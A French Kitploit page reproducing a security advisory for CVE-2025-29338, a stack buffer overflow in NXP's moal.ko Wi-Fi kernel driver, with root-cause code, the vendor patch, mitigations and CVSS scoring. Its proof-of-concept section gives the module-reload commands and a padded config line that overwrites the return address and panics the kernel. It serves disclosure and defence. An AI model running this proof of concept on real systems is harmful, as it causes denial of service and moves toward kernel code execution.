Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-29338 — Avis technique et preuve de concept pour un dépassement de tampon basé sur la pile (CWE-121) dans le pilote noyau Wi-Fi NXP moal.ko, permettant une panique du noyau locale et une exécution potentielle de code arbitraire. | Kitploit
Outils/GitHubGitHub/masjadaan/cve-2025-29338
Sécurité des Systèmes EmbarquésAnalyse des VulnérabilitésExploitationSécurité MatérielleExploitation de Binaires
GitHubmasjadaan/cve-2025-29338

CVE-2025-29338

Avis technique et preuve de concept pour un dépassement de tampon basé sur la pile (CWE-121) dans le pilote noyau Wi-Fi NXP moal.ko, permettant une panique du noyau locale et une exécution potentielle de code arbitraire.

Voir le dépôt
33il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-29338 — Avis de sécurité

Dépassement de tampon dans le pilote noyau Wi-Fi NXP moal.ko (woal_setup_module_param / parse_cfg_get_line)

ChampValeur
Identifiant CVECVE-2025-29338
SévéritéÉlevée
Score CVSS v3.17.8
Vecteur CVSS v3.1CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Type de vulnérabilitéDépassement de tampon basé sur la pile (CWE-121)
Vecteur d'attaqueLocal
FournisseurNXP Semiconductors
Statut du correctifCorrigé
DécouvreurMahmoud Jadaan — diconium auto GmbH

Résumé

Une vulnérabilité de dépassement de tampon basé sur la pile existe dans le pilote noyau Wi-Fi moal.ko de NXP (version 5.1.7.10) pour les versions de firmware v17.92.1.p149.43 à v17.92.1.p149.157. La vulnérabilité se situe dans parse_cfg_get_line (mlinux/moal_init.c), appelée depuis woal_setup_module_param. La boucle while qui lit les lignes du fichier de configuration dans un tampon de taille fixe sur la pile ne vérifie pas la taille de destination, permettant à une ligne de longueur arbitraire de dépasser la taille du tampon, de corrompre la pile et de provoquer un panique du noyau. NXP PSIRT a confirmé la vulnérabilité et le correctif a été publié.


Produits concernés


Détails de la vulnérabilité

Cause racine

woal_setup_module_param alloue un tampon de taille fixe MAX_LINE_LEN sur la pile et le passe à parse_cfg_get_line à chaque itération lors du traitement du fichier de configuration mod_para :

root@kitploit:~
// woal_setup_module_param — mlinux/moal_init.c
char line[MAX_LINE_LEN];
...
while (parse_cfg_get_line(data, size, line) != -1) {
    // traitement de la ligne
}

Dans la version vulnérable de parse_cfg_get_line, la condition de la boucle while ne vérifie que la position source et les terminaisons de ligne — il n'y a aucune vérification du nombre d'octets écrits dans le tampon de destination :

root@kitploit:~
// parse_cfg_get_line — version vulnérable (mlinux/moal_init.c)
static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
{
    t_u8 *src, *dest;
    static t_s32 pos;

    if (pos >= size) {
        pos = 0;
        return -1;
    }
    memset(line_pos, 0, MAX_LINE_LEN);
    src = data + pos;
    dest = line_pos;

    while (pos < size && *src != '\x0A' && *src != '\0') {
        if (*src != ' ' && *src != '\t')
            *dest++ = *src++;   // écriture non vérifiée — pas de contrôle de limite de destination
        else
            src++;
        pos++;
    }
    pos++;
    *dest = '\0';
    return strlen(line_pos);
}

Une ligne du fichier de configuration plus longue que MAX_LINE_LEN octets entraîne le dépassement de dest au-delà de la fin du tampon de l'appelant, écrasant la mémoire de la pile adjacente, y compris le pointeur de frame et l'adresse de retour sauvegardés.


Vecteur d'attaque

Le pilote est chargé au démarrage du système avec insmod en utilisant le paramètre mod_para pointant vers un fichier de configuration. Un attaquant qui peut écrire un fichier de configuration malveillant et recharger le module noyau peut déclencher le dépassement.


Impact

ImpactDescription
Déni de servicePanique du noyau — confirmé ; provoque un redémarrage immédiat du système
Corruption de la mémoire du noyauL'écrasement de la pile remplace le sauvegardé et l'adresse de retour

Décomposition CVSS v3.1

Score de base : 7.8 (Élevée) CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H


Preuve de concept

Fournie à des fins défensives et de recherche uniquement.

Étape 1 — Décharger les modules existants

root@kitploit:~
#!/bin/sh
rmmod moal
rmmod mlan

Étape 2 — Créer le fichier de configuration malveillant

Le tampon de la pile est rempli de A, suivi de 8 octets pour l'emplacement du canari de pile (B), 8 octets pour le rbp sauvegardé (C), et 8 octets pour écraser l'adresse de retour (D) :

root@kitploit:~
python3 -c 'print("A"*256 + "B"*8 + "C"*8 + "D"*8)' > payload.bin

Étape 3 — Charger le module avec la configuration falsifiée

Le chemin mod_para doit être relatif au répertoire dans lequel le noyau cherche le firmware (généralement /lib/firmware/). Construisez le chemin en conséquence :

root@kitploit:~
#!/bin/sh
PAYLOAD_PATH=../../<chemin_relatif_vers>/payload.bin

insmod /lib/modules/nxp9098/wifi/mlan.ko
insmod /lib/modules/nxp9098/wifi/moal.ko \
    mod_para=$PAYLOAD_PATH \
    drvdbg=0x7

Étape 4 — Résultat observé

Une panique du noyau est déclenchée immédiatement lors de l'initialisation du module. Les journaux du noyau confirment que l'adresse de retour est écrasée avec 0x4444444444444444 (ASCII DDDDDDDD), démontrant un contrôle total du pointeur d'instruction :

root@kitploit:~
[insmod] Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in:
         woal_setup_module_param+0xd4/0x3e4 [moal]
[insmod] 0x4444444444444444   <-- adresse de retour contrôlée

Correctif du fournisseur

NXP PSIRT a confirmé la vulnérabilité et fourni le correctif suivant pour mlinux/moal_init.c. Le correctif ajoute une vérification de limite à l'intérieur de la boucle parse_cfg_get_line pour sortir avant de dépasser MAX_LINE_LEN :

root@kitploit:~
--- a/src/wlan_src/moal/linux/moal_init.c
+++ b/src/wlan_src/moal/linux/moal_init.c
@@ -723,6 +723,10 @@ static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
              else
                      src++;
              pos++;
+              if ((dest - line_pos) >= (MAX_LINE_LEN-1)) {
+                      PRINTM(MERROR, "input data size exceeds the dest buff limit\n");
+                      break;
+              }
       }
       /* parse new line */
       pos++;

Atténuation

Mettez à jour vers une version de firmware postérieure à v17.92.1.p149.157 qui inclut le correctif ci-dessus. Comme renforcement supplémentaire :

  1. Restreindre le chargement des modules — limitez CAP_SYS_MODULE aux administrateurs de confiance ; appliquez des restrictions sur les appels système init_module / finit_module via SELinux, AppArmor ou seccomp.
  2. Protéger les chemins des fichiers de configuration — assurez-vous que le chemin référencé par mod_para et les fichiers qu'il pointe ne sont accessibles en écriture que par root.

Références

  • Pilote NXP mwifiex (GPL) : https://github.com/nxp-imx/mwifiex
  • Notes de version NXP : https://www.nxp.com/docs/en/release-note/RN00104.pdf

Statut du fournisseur

NXP PSIRT a confirmé la vulnérabilité. Le correctif a été publié dans le cadre d'une mise à jour logicielle formelle.


Crédits

Découvreur : Mahmoud Jadaan — diconium auto GmbH


Cet avis est publié comme référence publique pour satisfaire aux exigences minimales de divulgation CVE conformément au programme CVE.

Télécharger l’outil
ChampDétail
FournisseurNXP Semiconductors
ComposantPilote noyau Wi-Fi moal.ko
Version du pilote5.1.7.10
Firmware — Première version affectéev17.92.1.p149.43
Firmware — Dernière version affectéev17.92.1.p149.157
AttributValeur
TypeLocal
Privilèges requisCAP_SYS_MODULE (root ou équivalent)
Interaction utilisateurAucune
Surface d'attaqueParamètre du module noyau mod_para (chemin du fichier de configuration)
rbp
Exécution de code potentielleAdresse de retour contrôlée — une exécution arbitraire de code en mode noyau est possible selon les mesures d'atténuation en place (canari de pile, KASLR, etc.)
MétriqueValeurJustification
Vecteur d'attaque (AV)Local (L)Nécessite un accès local au système
Complexité d'attaque (AC)Faible (L)Pas de conditions de course ni de prérequis complexes
Privilèges requis (PR)Élevé (H)Nécessite CAP_SYS_MODULE / root
Interaction utilisateur (UI)Aucune (N)Entièrement contrôlé par l'attaquant
Portée (S)Inchangée (U)L'impact reste dans le contexte du noyau
Confidentialité (C)Élevée (H)Mémoire du noyau potentiellement lisible
Intégrité (I)Élevée (H)Écrasement de l'adresse de retour démontré
Disponibilité (A)Élevée (H)Panique du noyau / redémarrage confirmé